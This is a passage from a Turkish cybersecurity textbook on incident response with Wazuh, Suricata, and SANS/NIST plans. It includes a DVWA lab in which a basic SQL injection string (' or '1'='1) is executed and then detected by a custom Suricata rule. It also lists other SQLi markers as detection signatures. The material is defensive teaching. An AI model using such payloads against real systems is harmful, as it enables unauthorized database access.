<group>integrity_check, malware_detection, critical</group>
</rule>

Alarmin Agiklamasi: Sistem dosyasinda beklenmeyen degisiklik tespit edildi. Bu durum, kot amagh
yazilim aktiviteleri veya yetkisiz miidahalelerin géstergesi olabilir. Bu nedenle Rule ID 100204-Seviyesi
10 ile alarm olusturularak olayin tespiti saglanir.

3. Ornek Olay: Siipheli Ag Trafigi

Alarm

<rule id="100208" level="8">
<field name="suricata.alert.severity”>high</field>
<description>Dikkat! Supheli ag trafigi tespit edildi.</description>
<group>network, intrusion_detection</group>

</rule>

Alarmin Agiklamasi: Normal disi yliksek hacimli veya bilinmeyen protokol kullanimi tespit edilmistir. Bu
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durum, ag saldirisi veya veri sizdirma girisimi olabilir. Bu nedenle Rule ID 100208-Seviyesi 8 ile alarm
olusturularak olayin tespiti saglanir.

4. Ornek Olay: Kullanici Parola Degisikligi

Alarm

<rule id="100209” level="6">
<field name="win.system.eventID">4723|4724</field> <!-- Password change/reset -->
<description>Kullanici parola degisikligi algilandi.</description>
<group>windows, user_management</group>

</rule>

Alarmin Agiklamasi: Sistem kullanicisinin parola degisikligi kaydedildi. Ozellikle yetkisiz degisikliklerde
glivenlik riski olusturur. Bu nedenle Rule ID 100209-Seviyesi 6 ile alarm olusturularak olayin tespiti
saglanir.

5. Ornek Olay: Sistem Zamani Degisikligi

Alarm

<rule id="100210" level="7">
<field name="win.system.eventID”">4616</field> <!-- System time change -->
<description>Sistem zaman degisikligi algilandi.</description>
<group>windows, system</group>

</rule>

Alarmin Agiklamasi: Sistem saatinde beklenmeyen bir degisiklik yapildi. Saat manipilasyonu, log
kayitlarinin degistirilmesi veya izlerin silinmesi icin kullanilabilir. Bu nedenle Rule ID 100210-Seviyesi
7 ile alarm olusturularak olayin tespiti saglanir.

Wazuh’ta DDoS saldirisini tespit edecek kurali aktif hale getirip saldiri aninda alarm
olusmasini saglayan uygulamayi gerceklestiriniz.

Wazuh’ta sistem saatinin degistirilmesini tespit eden kurali aktif hale getirip alarm

olusmasini saglayan uygulamayi gerceklestiriniz.
SIBER OLAYLARA MUDAHALE @
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4.1.2. Siber Olaylarin Siniflandirilmasi ve Onceliklendirilmesi

Siber glivenlik alaninda tespit edilen olaylar, farkh tirlerde ve ciddiyet seviyelerinde olabilir. Her siber
olay, ayni derecede kritik degildir. Bazilari hizlh miidahale gerektirirken bazilari disik oncelikli olabilir.
Bu nedenle olaylarin dogru siniflandirilmasi ve onceliklendirilmesi, etkin bir glivenlik yonetimi igin
hayati 6neme sahiptir.

Olaylarin siniflandirilmasi; saldirinin tird, etkisi ve devamliligl, hedef sistemin 6nemi gibi dlcltlere
dayanir. Onceliklendirme ise hangi olaylarin dnce incelenip miidahale edilecegini belirler. Bu sayede
glvenlik ekipleri, zamanlarini ve kaynaklarini en kritik tehditlere odaklayabilir.

Wazuh gibi gelismis bir glivenlik bilgi ve olay yonetimi (SIEM) araci, olaylari otomatik olarak siniflandirir
ve onceliklendirir. Wazuh’un sagladigi detayl uyarilar, kural seviyeleri (severity) ve korelasyon ozellikleri
sayesinde olay yonetimi kolaylasir.

2. Uygulama

Wazuh lizerinden SSH brute force saldirisini tespit ederek olayin siniflandirmasini ve dnceliklendirmesini
yapan uygulamayi verilen adimlar dogrultusunda gerceklestiriniz.

1. Adim: Windows sisteminde basarisiz oturum agma denemelerini (SSH veya RDP) brute force
saldirisi olarak siniflandiriniz ve Seviye 5, orta dereceli uyari olarak, 6nceliklendirerek derhal miidahale
gerektiren kritik bir olay seviyesinin altinda birakiniz (Gorsel 4.6).

.b,nist_gee C.7,nist_80

Gorsel 4.6: Siniflandirma ve onceliklendirme

2. Adim: Wazuh gosterge panelinde brute force saldirisinin ardindan gelen alarmi goérintileyiniz

(Gorsel 4.7).

Description Level Rule ID
Brute Force (Kaba Kuvvet) Saldins Algiland...MTEGM SIEM 3 999001
Brute Force (Kaba Kuwvet) Saldins: Algiland.. MTEGM SIEM 5 999001
Brute Force (Kaba Kuvvet) Saldins: Algilandi...MTEGM SIEM 3 99900
Brute Force (Kaba Kuwvet) Saldins: Algiland.. MTEGM SIEM 5 999001
Brute Force (Kaba Kuvvet) Saldins: Algilandi.. MTEGM SIEM 5 999001
Brule Force (Kaba Kuvvel) Saldins: Algiland:. . MTEGM SIEM 5

Gorsel 4.7: Uyarinin siniflandirmasinin ve énceliklendirmesinin tespiti
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3. Adim: Wazuh, Rule ID 60122 olan uyariyi 999001 Rule ID’si ile kayit altina alir. Belirlenen kurallarla
tespit edilen alarmi, SSH brute force saldirisi olarak siniflandiriniz.

Wazuh’ta alarm seviyesi 5, orta dereceli (medium) olarak da tanimlanir. Baska bir
deyisle kritik degil ama 6nem verilmesi gereken bir uyari demektir.

4. Adim: Seviye 5 uyariyi aldiginizda sirayla su degerlendirmeleri gergeklestiriniz:

1. Uyarinin Detaylarini inceleme
« Uyarinin hangi kaynaktan ve ne tiir olaydan geldigini anlamaya c¢alisiniz.
« Loglarda uyari ile ilgili tim ayrintilari gbzden gegiriniz.
2. Olayin Etkisini ve Yayginhgini Degerlendirme
« Bu uyari tek seferlik mi, devam eden bir durum mu tespit ediniz.
« Etkilenen sistemler veya kullanicilar kritik mi tespit ediniz.

« Baska sistemlerde veya zamanda da benzer uyarilar var mi tespit ediniz.

3. Durumu izleme
« Olayin yayginhigini veya tekrarlanma sikligini takip etmek icin izleme yapiniz.
« Sirekli artan veya yaygin bir durumsa 6nceligi artirarak miidahale ediniz.
4. ilgili Birimleri ve Kisileri Bilgilendirme
« Durumu siber glivenlik ekibine veya sistem yoneticilerine bildirip bilgi veriniz.

« Acil midahale gerektiren bir durum degilse takip ve analiz icin paylasim yapiniz.

5. Gerektiginde Onleyici Tedbirler Alma
« Slpheli IP adreslerini gegici olarak engelleyiniz.

« Guvenlik politikalarini gozden gegiriniz ve gerekirse glincelleyiniz.

6. Kayit Tutma ve Raporlama
« Uyariyi, yapilan incelemeleri ve alinan aksiyonlari belgeleyiniz.

« lleride tekrar edebilecek benzer durumlar igin referans olusturunuz.

Wazuh, saldirilara otomatik olarak cevap verebilir ama bu 6zellik, dogrudan her
seye kendi basina karar veren bir yapay zeka gibi degildir. Belirlenen kurallar ve
politikalar gercevesinde ¢alisir. Bu mekanizmaya Active Response denir.
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Tablo 4.1’de Wazuh glvenlik izleme sistemi lizerinden tespit edilebilecek gesitli siber olay tiirleri, bu
olaylara karsi tanimlanabilecek Rule ID’leri, 6ncelik seviyeleri, MITRE ATT&CK teknik ID’leri ve SANS
olay siniflari birlikte sunulmustur. Bu yapi sayesinde olaylar yalnizca teknik olarak degil ayni zamanda
uluslararasi giivenlik standartlarina gore énceliklendirilip, siniflandirilarak incelenmektedir.

Tablo 4.1: Olaylarin Onceliklendiriimesi ve Siniflandiriimasi

o Severity | Oncelik MITRE ATT&CK
Olay Tirii e . SANS Olay Sinifi
Level | Seviyesi Teknik ID

Yetkisiz kullanici

girisimidir.

Yeni Kullanici T1136.001 .
hesabi olusturma, Unauthorized
Hesabi 100203 7 Orta oL (Create
yetki yukseltme Access
Agilmasi . Account)
amaci taslyabilir.
Sistem batinlGgine
Sistem tehdit, kot amacli T1565.001
Dosyasinda 100204 10 Kritik | yazilim veya yetkisiz | (Stored Data Malicious Code
Degisiklik erisim amaci Manipulation)
tasiyabilir.
Kullanici parolasinda
Parola 100209 6 Orta-  degisiklik, izinsiz T1098 (Account Unauthorized
Degisikligi Disiik | yapilirsa risk Manipulation) | Access
olusturur.
Bilinme
T yenveya 71071
Agda Supheli . anormal ag o .
) 100208 8 Yiksek . (Application Reconnaissance
Trafik trafigi, olasi saldiri
.. - Layer Protocol)
gostergesidir.
Yetkisiz Uzak RDP Uizerinden T1021.001
Masadst . basarisiz oturum (Remote Unauthorized
L. 100301 9 Kritik L
(RDP) Erisim denemeleri, sistem Desktop Access
Girisimi sizma girisimidir. Protocol)
. Log manipdilasyonu
Sistem )
o . amaciyla sistem T1099 .
Saatinin 100210 7 Yiksek o . ) Malicious Code
G . zamani degistirme (Timestomp)
Degistirilmesi o
girisimidir.
Dogrudan root
Root Yetkili hesabiyla giri
. . e . T1078 (Valid Unauthorized
Kullanicrile 100305 8 Yiksek yapilmasi, potansiyel
. o Accounts) Access
Giris yetki kotliye
kullanimidir.
Web uygulamasi
Uzerinden veri T1190 (Exploit | Web
SQL Injection | 100401 9 Kritik | tabanina yetkisiz Public-Facing Application
komut gdnderme Application) Attack
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o Severity | Oncelik MITRE ATT&CK
Olay Tiri e . SANS Olay Sinifi
Level | Seviyesi Teknik ID

Kritik sistemlerden

.. . T1041
Yetkisiz Dosya veri cekme veya . .

. . . (Exfiltration . .
Transferi (FTP/ 100501 8 Yiksek ' sisteme zararli Over C2 Data Exfiltration
SFTP) dosya yukleme

L Channel)
girisimidir.
Kullanici
. tarayicisinda zararli Web
Cross-Site . . T1059.007 L
L 100601 8 Yuksek | script calistirarak . Application
Scripting (XSS) (JavaScript)
oturum ¢alma Attack
girisimidir.
Sistemin zararl
Command & yazilim tarafindan
L T1071.004 Command and
Control (C2) 100701 10 Krittk  C2 sunucusuna
S . (DNS) Control
lletisimi baglanma
girisimidir.
, . T1083 (File Web
Directory . Yetkisiz dosya ve . L
100801 9 Kritik o o and Directory Application
Traversal dizin erisimidir. .
Discovery) Attack
. Sistem dosyalarinin Web
Local File . L T1105 (Ingress L
. 100901 9 Kritik | yetkisiz Application
Inclusion (LFI) . . Tool Transfer)
yuklenmesidir. Attack
) Uzak sunucudan Web
Remote File . T1105 (Ingress o
. 101001 10 Kritik | zararli dosya Application
Inclusion (RFI) Tool Transfer)
cahistirlmasidir. Attack
DDoS Servislerin asiri .
o . ) . T1499 Denial of
(Distributed 101101 10 Kritik | trafikle erisilemez . .
. . . . o (Endpoint DoS) | Service
Denial of Service) hale getirilmesidir.
L Zararli ek veya T1566.001 .
Phishing E-Posta . o o Social
. 101201 8 Yuksek | link iceren e-posta | (Spearphishing ) .
Tespiti O Engineering
tespitidir. Attachment)
Ele gecirilmi
_ ‘e gearimiy -~ 11110004 ,
Credential . kimlik bilgilerinin . Unauthorized
) 101301 9 Kritik . (Credential
Stuffing ¢oklu sistemlerde . Access
. Stuffing)
denenmesidir.
. Zararli yazilim
Malware Indirme . o T1204.002 o
101401 10 Kritik  indirilip o . Malicious Code
ve GCalistirma (Malicious File)
cahstirilmasidir.
T1046 (Network
Port Tarama . Acik portlarin . .
101501 7 Yiksek Service Reconnaissance

(Reconnaissance)

tespitidir.

Scanning)
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Sira Sizde

Agda olusan anormal trafigin 6nceliklendirilmesini ve siniflandiriimasini saglayan kural
girdisini olusturan ve sorasinda ilgili alarmin Wazuh SIEM yazilminda incelenmesini
saglayan uygulamayi gergeklestiriniz.

4.1.3. Siber Olay Miidahale Planinin Hazirlanmasi ve Uygulanmasi

Siber olay miidahale plani, bir giivenlik ihlalinin veya anormal aktivitenin tespit edilmesinden sonra
sistemin en kisa slrede givenli hale getiriimesi, zararin en aza indirilmesi ve tekrarinin 6nlenmesi
amaciyla yapilan koordineli ve adim adim ilerleyen bir surectir. Bu plan; SANS, NIST gibi uluslararasi
glvenlik standartlarina uygun sekilde hazirlik, tespit, siniflandirma, miidahale, iyilestirme ve
raporlama adimlarini igerir.

Wazuh gibi merkezi glvenlik izleme araclari kullanilarak otomatik uyari ve kayit analizleri tzerinden
olaya hizlica midahale edilir. Dogru planlama ile kritik veriler korunur, operasyonel kesinti minimuma
indirilir ve glivenlik seviyesinin slrekli gelismesi saglanir.

Siber Olay Miidahale Plani Hazirlama ve Uygulama Ornegi

Kurumesal bir Linux sunucuya yonelik cok sayida basarisiz SSH giris denemesi tespit edilir. Olay, Wazuh
Uzerinden Rule ID 60122 ile kayda gecer. Bu veriler dogrultusunda SANS standardina gére olay miidahale
planinin uygulanmasi su sekildedir:

Tespit Asamasi: SANS cercevesine gore Tespit asamasinda Wazuh SIEM yazilimindan elde edilen veriler
Tablo 4.2’deki gibidir. Bu bilgiler 1siginda olayin tespiti gerceklesmistir.

Tablo 4.2: Olaylarin Onceliklendirilmesi ve Siniflandiriimasi

Rule ID 60122

Kaynak IP 155.200.100.50
Alarm Seviyesi 10 (Kritik)

Etki Alani SSH servisi

Zaman Damgasi 2025-08-10 20:15:30
Tekrar Sayisi 45

Siniflandirma Asamasi: Bu asamada olay, soyle kayit altina alinmistir:

Olay Turi: SSH brute force saldirisi

Tehdit Diizeyi: Yuksek/Kritik

Oncelik: SSH servisi ydnetim erisimi sagladigi icin kritik altyapi riski tasir.

ilk Miidahale Asamasi: Bu asamada giivenlik birimleri su teknik miidahale islemlerini gerceklestirir:
« Sistem yoneticisi (Linux yonetim ekibi) ve ag glivenlik ekibi bilgilendirilir.

« Saldiri yapan IP adresi, iptables veya firewalld {izerinden sudo iptables -A INPUT -s 155.200.100.50
-j DROP komutu kullanarak engellenir.

@ SIBER OLAYLARA MUDAHALE




SIiBER OLAYLARA MUDAHALE UYGULAMALARI f

Kontrol Altina Alma ve Yok Etme Asamasi: Bu asamada izolasyon islemi uygulanir ve su islemlerle
beraber olay kontrol altina alinmaya calisilir:

« SSH servisine erisim sadece beyaz liste IP’ler ile sinirlandirilir.

« SSH portu (varsayilan 22) degistirilir veya fail2ban gibi bir saldiri 6nleme araci devreye alinir.

Delil Toplama Asamasi: Bu asamada Wazuh log kayitlari, /var/log/auth.log icerigi ve firewall loglari
yedeklenir. Bununla birlikte olay zamani, saldiri IP’si ve deneme sayilari rapor igin not edilir.

lyilestirme Asamasi: Bu asamada SSH icin 2FA (iki faktorlii kimlik dogrulama) devreye alinir. Wazuh
Uzerinde brute force tespiti yapan kural, saldiri tekrarlarinda otomatik IP engelleme komutunu
calistiracak sekilde gilincellenir.

Raporlama Asamasi: Buasamada midahale siireci, alinan aksiyonlar ve 6nerilen glivenlik iyilestirmeleri;
olay miidahale raporu olarak yonetime ve siber giivenlik ekibine iletilir.

Sira Sizde

Bir kurumda Wazuh Ulzerinden DDoS saldirisi tespit edilir. Buna gére midahale planini
SANS’a gore adim adim uygulayiniz.

SQL Injection saldirilari, web uygulamalarinin en yaygin ve kritik glivenlik agiklarindan biridir. Bu tir
saldirilar, koti niyetli kisilerin veri tabanina yetkisiz erisim saglamasina, veri manipilasyonu yapmasina
veya hassas bilgileri ele gecirmesine olanak tanir. SANS’In siber olay miidahale ¢ergevesi, boyle kritik bir
glvenlik olayi karsisinda sistematik ve etkili bir miidahale plani olusturmak igin kapsamli bir yol haritasi
sunar. Tablo 4.3’te SQL Injection saldirisina yonelik SANS yaklasimina uygun adim adim muidahale plani
detaylandiriimistir.

Tablo 4.3: SQL Injection Olayina SANS Cercevesinde Mudahale Plani

m islem Detay! SQL Injection Ornegi

Guvenlik politikalari ve kod standartlarinin

Web uygulamasi gelistiricilerine

Hazirhk hazirlanmasi guvenli kodlama egitimi verilmesi
(Preparation) |« WAF ve IDS/IPS sistemlerinin konfigiirasyonu | ve WAF'in SQL Injection saldirilarini
» Egitim ve tatbikat engelleyecek sekilde yapilandirilmasi
. 5 Mo arelHalve Web uygulamasi loglarinda "UNION
Tespit SELECT" gibi anormal SQL ifadeleri-

(Identification)

WAF ve IDS uyarilari incelenir.
Olagan disi SQL sorgulari tespit edilir.

nin goérulmesi, WAF'In SQL Injection
saldirisi uyarisi vermesi

Siniflandirma
(Classification)

Saldiri tiirG tespit edilir.
Saldirinin hedefi ve etkisi analiz edilir.

Saldirinin UNION tabanli SQL
Injection oldugu ve musteri veri taba-
nina yonelik oldugu tespit edilir.

Kisa Siireli
izolasyon
(Containment
Short-Term)

Supheli IP’ler firewall/WAF tarafindan engel-
lenir.
Etkilenen uygulama, gegici durdurulur.

Saldirgan IP adresleri engellenir.
Etkilenen uygulama modiilleri gegici
devre disi birakilir.

Tablonun devami ——
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Uzun Siireli Kontrol
(Containment
Long-Term)

« Acik, kodda dizeltilir.
+ Gelistirici ekibi ile agik kapatilir.

sQL Injection Ornegi

Parametrik sorgulara gegis yapilmasi,
input validasyonlarinin uygulanmasi

Zararh Unsurlarin Log ve saldiri 6rnekleri toplanir ve
Temizlenmesi ve Delil arsivlenir.
Toplama » Kod agigl kapatilir.

Loglar, Wazuh gibi sistemlerden
cekilir. Saldirgan IP, zaman damgasi
ve kullanilan payload kaydedilir.

« Uygulama tekrar aktif edilir.
iyilestirme (Recovery) - izleme ve giivenlik kontrolleri
artirihr.

Uygulama giincellenir, test edilir ve
WATF kurallari gbzden gegirilir.

« Saldiri analizi yapilr.
» Rapor hazirlanir.
« Gelistirme standartlari glincellenir.

Sonug Cikarimi
(Lessons Learned)

Saldiridan 6grenilenlerle kod
glvenligi sregleri ve egitim
programlari giclendirilir.

NIST’in Siber Olay Miidahale Rehberi (SP 800-61 Rev.2), bu tir olaylarda hazirlikli olmayi ve etkili
midahaleyi saglamak Uzere kapsamli ve yapilandiriimis bir slire¢ sunar. Tablo 4.4’te SQL Injection
saldirilarina karsi, NIST ¢ergevesine uygun sekilde adim adim midahale plani agiklanmaktadir.

Tablo 4.4: SQL Injection Olayina NIST Cergevesinde Midahale Plani

NIST Adimi Detayli islem sQL Injection Ornegi

« Siber olay midahale ekibinin ve
rol dagiliminin belirlenmesi

« Guvenlik duvari, WAF, IDS/IPS
yapilandiriimasi

» Guvenli kodlama standartlarinin
belirlenmesi

« Egitimlerin ve tatbikatlarin

Hazirhik

yapilmasi

Web uygulamasi gelistiricilerine
parametrik sorgularin ve input
dogrulamanin énemi anlatihr. WAF
saldiri tespit moddli aktif edilir.

« Anormal SQL sorgularini ve
parametre manipulasyonlarini
tespit etmek icin loglarin ve
uyarilarin incelenmesi

« Saldirinin hedef sistemi ve
kapsaminin belirlenmesi

Tespit ve Analiz

Web sunucu loglarinda “ OR 1=1--"
gibi saldiri isaretleri gorilir, WAF
saldiri uyarisi verir. Etkilenen URL ve
zaman bilgisi toplanir.

« Supheli IP’lerin engellenmesi

« Saldiriya maruz kalan uygulama
modiillerinin gecici devre disl
birakilmasi

« Ag segmentasyonuyla etkilenen
sistemin izole edilmesi

Kontrol

Saldirgan IP adresleri, WAF ve
firewall tarafindan engellenir ve ilgili
web modiilleri kapatilir. WAF kural
setleri sikilastirtlir.
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NIST Adimi Detayli islem sQL Injection Ornegi

+ Kod tizerinde SQL Injection
aciginin giderilmesi (parametrik
sorgu, input validasyonu) Kod degisikligi ile dinamik SQL
+ Sistemde varsa zararli scriptlerin sorgulari parametrik hale getirilir.
Yok Etme . . . -
temizlenmesi Veri tabani erisim loglari ve WAF
+ Olay ileilgili loglarin ve delillerin loglari yedeklenir.
adli usule uygun toplanmasi ve
saklanmasi
« Guncellenen ve glivenli
uygulamanin yeniden yayina
alinmasi Web uygulamasi yeniden aktif hale
. + izleme sistemlerinin tekrar aktif getirilir, WAF kurallari glincellenir ve
lyilestirme o o -
edilmesi surekli izleme baslatihr. SQL Injection
« Guvenlik yamalarinin uygulanmasi  testleri yapilir.
« Fonksiyon ve glivenlik testlerinin
yapilmasi
« Olay raporu hazirlanir ve ilgililere
sunulur.
. o Saldiri raporu hazirlanir, zafiyet
+ Saldiri kok neden analizi yapilir. . . o
Olay Sonrasi . . . ... kaynaklari belirlenir, gelistiriciler igin
. « Glvenlik politikalari ve egitim . . o .
Faaliyetler o . glvenli kodlama egitimi dlizenlenir.
materyalleri glincellenir. o o
. L WAF kural seti gliclendirilir.
« Benzer saldirilarin 6nlenmesi i¢in
yeni tedbirler planlanir.

4.2. OLAY MUDAHALE SENARYOLARI

Gergek sistemlerde meydana gelebilecek siber glivenlik olaylarina etkili sekilde miidahale edebilmek
yalnizca teorik bilgiyle degil pratik deneyimle de mimkindur. Farkli saldiri ve ihlal tirlerine yonelik
uygulamali senaryolar hem teknik becerileri hem de olay yonetiminde dogru karar alma yetkinligini
gelistirir.

4.2.1. Web Saldirilarina Karsi Miidahale

internet (izerinden erisilebilir olmalari, web uygulamalarini siber saldirganlar icin cazip hedefler haline
getirir. Hem sirketler hem de bireysel kullanicilar, web tabanli saldirilar sebebiyle 6nemli glvenlik
riskleriyle karsi karsiyadir. Bu nedenle olasi tehditleri tanimak, erken tespit edebilmek ve dogru
onlemleri almak kritik bir 6neme sahiptir. Sik karsilasilan web saldiri tiirleri su sekildedir:

SQL Injection (SQLi): Veri tabanina zararl sorgular ekleyerek yetkisiz veri okuma, degistirme veya silme
islemleri yapiimasidir.

Cross-Site Scripting (XSS): Kullanicinin tarayicisinda zararli JavaScript kodlarinin ¢alistiriimasiyla bilgi

¢alinmasi veya oturumlarin ele gegirilmesidir.
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Cross-Site Request Forgery (CSRF): Kullanicinin oturum bilgileri kullanilarak bilgisi disinda kullaniciyi
islem yapmaya zorlanmasidir.

Directory Traversal: Sunucu dizin yapisina yetkisiz erisim saglayarak hassas dosyalarin okunmasidir.

Remote File Inclusion (RFl)/Local File Inclusion (LFl): Sisteme zararli dosyalarin uzaktan ya da yerel
olarak dahil edilmesidir.

Brute Force/Credential Stuffing: Kullanici hesaplarinin sifre denemeleriyle veya dnceden sizdiriimis
sifre listeleriyle ele gecirilmesidir.

DDoS/HTTP Flood: Web uygulamasinin asiri trafik ile cevap veremez hale getirilmesi.
Web saldirilarinin tespitinde genellikle su yontemler uygulanir:

WAF (Web Application Firewall) Kayit Analizi: Gelen isteklerde olagan disi parametreler, zararh karakter
dizileri veya sipheli trafik hareketleri aramaktr.

SIEM/Wazuh Alarm Kurallari: SQL Injection, XSS veya brute force gibi saldir tiirlerinde, énceden
tanimlanmis kural ID’lerinin alarm Uretmesidir.

HTTP Trafigi izleme: Wireshark, tcpdump, Zeek gibi araglarla gelen HTTP/HTTPS trafiginin incelenmesidir.

Anormal Trafik Paternlerinin Analizi: Ayni IP adresinden gelen yogun, tekrarli veya kisa slirede yapilan
isteklerin tespit edilmesidir.

Uygulama Log Kontrolii: access.log ve error.log dosyalarinda sira disi erisim veya hata kayitlarinin
incelenmesidir.

Web saldirilarini dnlemek icin genellikle su yontemler uygulanir:

Acil Miidahale Gerektiren Onlemler

- Saldirgan IP adreslerini gecici olarak engelle (iptables, firewalld, WAF kurali).
« Etkilenen web servislerini durdur veya izole et.

« Saldirinin yayilmasini énlemek icin ilgili portlari kapat.

Kalici Koruma Onlemleri

Girdi Dogrulama: Kullanicidan gelen tiim verilerin filtrelenmesi ve dogrulanmasidir.

Giivenli Kiitiiphaneler: SQL Injection riskini azaltan ORM yapilarinin kullaniimasidir.

Giincelleme ve Yama Yonetimi: Web sunucusu, framework ve eklentilerin her zaman glincel tutulmasidir.
WAF imza Giincellemeleri: Yeni saldiri tekniklerine karsi imzalarin siirekli giincellenmesidir.

Rate Limiting ve CAPTCHA: Brute force saldirilarini yavaslatmak veya engellemektir.

DDoS Koruma Hizmetleri: Cloudflare, AWS Shield gibi hizmetlerden yararlanmakdir.
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DVWA (Damn Vulnerable Web Application) Gzerinde bulunan SQL Injection agigini tespit edecek 6zel
bir Wazuh kurali olusturup, bu agik istismar edildiginde Wazuh’un alarm tretmesini saglayarak, tretilen
alarma karsi Wazuh (zerinden otomatik veya manuel olarak bu saldirlya 6nlem (6rnegin saldirgan IP
adresini engelleme) alma islemini verilen adimlar dogrultusunda gerceklestiriniz.

Uygulama, DVWA kurulu bir web sunucusunun lokal agda hazir bulunduruldugu ve
glvenlik seviyesinin Low olarak ayarlandigi dusinilerek gelistirilmistir. Dogrudan
ag paketlerini inceleyip gercek zamanh tespit yapmak, daha derin analiz ve erken
uyari almak istiyorsaniz Suricata, Snort gibi IDS/IPS sistemleri kullanmaniz gerekir.
Uygulama, Suricata IDS sistemi ile gerceklestirilecektir (Uglincii 6grenme biriminin
Uglnci uygulamasinda Suricata kurulumu yapildigindan sisteminizde hazir olmasi
beklenmektedir.).

1. Adim: SQLi saldirilarina karsi gerekli kurali local.rules dosyasinda olusturunuz (Gorsel 4.8).

mj local.rules - Not Defteri _ 0o %

Dosya Duzen Bicim Gorinim Yardim

# SQLL
alert http any any -> any any (msg:"[WIN] SQL Injection Tespit Edildi"; content:"' or '1'='1"; nocase; sid:1leeeeel; rev:l;)

Gorsel 4.8: Kuralin olusturulmasi

2. Adim: Hazirlanan kurali suricata.yaml yapilandirma dosyasina ekleyiniz (Gorsel 4.9).

j suricata.yaml - Not Defteri

Dosya Dazen Bicim Gorindm  Yardim
# This parameter has no effect if auto-config is disabled.
#
ports: [0-1,2-3]
When auto-config is enabled the hashmode specifies the algorithm for
determining to which stream a given packet is to be delivered.
This can be any valid Napatech NTPL hashmode command.

#
#
#
#
# The most common hashmode commands are: hash2tuple, hash2tuplesorted,
# hashstuple, hashstuplesorted and roundrobin.
#
#
#
#
#
h

See Napatech NTPL documentation other hashmodes and details on their use.
This parameter has no effect if auto-config is disabled.
ashmode: hashstuplesorted
##
## Configure suricata to load Suricata-Update managed rules.

#H#

default-rule-path: C:\\Program Files\\suricata\\rules\\

rule-files:
- emerging-all.rules
|- local.rules

Gorsel 4.9: Suricata yapilandirma
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s X Kali NetHunter

Home

Exploit-DB

Google Hacking

o)

Vulnerability: SQL Injection

Instructions
Setup | Reset DB

e —

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA
[soumjection |
SQLinjestion (Blind) |
xsspow |
XSS (Reflected) |

I0: 1' ar"1'="1
First name: admin
Surname: admin

ID: 1! or '1'="1
First name: Gordon
Surname: Brown

ID: 1' or '1'='1
First name: Hack
Surname: Me

ID: 1' or '1'='1
First name: Pablo
Surname: Picasso

T 1 af 1=t
First name: Bob
Surname: Smith

ve& (Sharam |

Gorsel 4.10: SQLi agiginin istismar edilmesi

4. Adim: Saldiri sonucu olusan Suricata alarmini Wazuh gosterge paneli lzerinden goriintileyiniz

(Gorsel 4.11).

= O WAzuh., ~  odies whei | Secidtyevens @
Dashboard Events
Dol Last 24 hours
et Rt i agent id + Adid filter
100 hits
Ape 78, 2025 @ 1503 19.263 - Apr 20, 2025 @ 150319283 Auto
o
e description H
nie id
# e bave
Availabie feids
X agenl id timestamp per 30 minutes
MRLE Tiene = rule Seserpton
[ Apr 29, 2025 6 Suricata: Alert - [WIN] SOL Injection Tespit Edilds
egary Apr 29, 28 S5 Suricata: Alert - ET SCAN Possible Nmap User-Agent Observed
Apr 29, 2025 © 15:01:29.504 Suricata: Alert - ET SCAN Posuible Hmap User-Agent Observed
netadats
uct
9, 2025 8 1 83 Suricata: Alert - ET SCAN Possible Hmap User-Agent Observed
ata smack_target
ata confidenc Apr 29, 2025 @ 15:01:29.477 Suricata: Alert - ET SCAN Possible Agent Observed

1| data alert metadata created_at

5:01:25.463  Suricata: Alert

ET SCAM Possible Wmap User-Agent Observed

Gorsel 4.11: SQLi agiginin istismar edilmesi

5. Adim: Alarmin detaylarini inceleyip saldiri hakkinda bilgi toplayiniz.
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6. Adim: Saldiriyi diizenleyen kaynak IP adresi, saldirida kullanilan SQLi kod parcasi ve saldiri ile ilgili
ihtiya¢ duyacaginiz ipuglarini elde ediniz (Gorsel 4.12).

= ) WAzuh. v~ | toddes winse | Secleityevents © =

t data.flow, dest_port B
¢ data sca description

data. flow, pkts_toclient 1"
# data sca faded

o datn sca i t data.flow, pkts_toserver 8
t data sca imvald
t data.flow.sre_ip 192.168.1, 169
# datn sca passed
t o sea poliey t dats.flow.src_part e
1 data sca policy_id
t data.flow.start 2025-B4-29T15:02:18.379363+8300
© datn sca scan_id
F i hea seie t data.flow_id TB492ETE4521135, 00008
¢ data scatotal_checks [ t data.http,hostname 192.168.1.27 I
1 dstn sca type
t data.http,hitp_content_type
et p.http_content_type  text/himl
¢ data.s_port r o data.http.hrtpmethod GET
[ data timestamp
data.http.http refer http://192.168.1.27 /dvwa/vulnerabilities/sqli/*id=1%2 1827427
5 data be_guessed
¢ datate_id I data.htip hitp_user_agent  Mozilla/5.@ (X11: Linux xB6_64: rvi182.8) Gecko/28188181 Firefox/162.8
| data wn everidats
aumenbcationPackageName t data.http, length 4506
© ata win eventdata bnary
t data.http.protocel HTTR/1.1
t data win evenidata data
o data win everndats elevatedToken t data.htip.status 26
© datawin evenidata
Mpeson Ll I t data.http.url Jdveaivulnerabilities/sqli/7id=1%27+0r +%27 1827430027 185ubait=Submit I
+ data win evenidata keyLength
gl t data.in_iface \Dewice\MPF_{BEISFIFS-2FAZ-4THF -B928- 18F1960377CE )

Gorsel 4.12: Saldiri ile ilgili verilerin toplanmasi

Web sitesi bir Linux sunucuda tutuluyorsa yedinci, Windows isletim sisteminde
tutuluyorsa sekizinci adimi uygulayiniz.

7.Adim:Wazuh’un Active Response 6zelligiyle saldirgan IP adresini 10 dakika otomatik olarak engelleyiniz
ve Gorsel 4.13’teki tanimi /var/ossec/etc/active-response/active-response.conf dosyasina ekleyiniz.

<active-response>
<command>firewalld</command:>
<location>local</location>
<rules i1d>100200</rules_id>
<timeout»e00</timeout> <!-—- 10 dakika -->
</active-response>

Gorsel 4.13: Wazuh Active Response ile otomatik engellemenin saglanmasi

8. Adim: Saldirgan IP adresini kalici bir sekilde engellemek icin su komutu PowerShell’e yonetici haklari
ile uygulayiniz:

New-NetFirewallRule -DisplayName “Block IP 192.168.1.100” -Direction Inbound -RemoteAddress
192.168.1.100 -Action Block

Sira Sizde

DVWA (zerinde bulunan Cross-Site Scripting acigini tespit edecek 6zel bir Wazuh kural
olusturunuz. XSS saldirisi gerceklestiginde Wazuh’un alarm Uretmesini saglayiniz. Bu
alarma karsi, otomatik veya manuel 6nlem alan uygulamayi gerceklestiriniz.
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DVWA Uzerinde bulunan CSRF agigini tespit edecek 6zel bir Wazuh kurali olusturunuz.
CSRF saldirisi gerceklestiginde Wazuh’un alarm lretmesini saglayiniz. Bu alarma karsi
otomatik veya manuel 6nlem alan uygulamayi gergeklestiriniz.

4.2.2. Ag (Network) Saldirilarina Karsi Miidahale

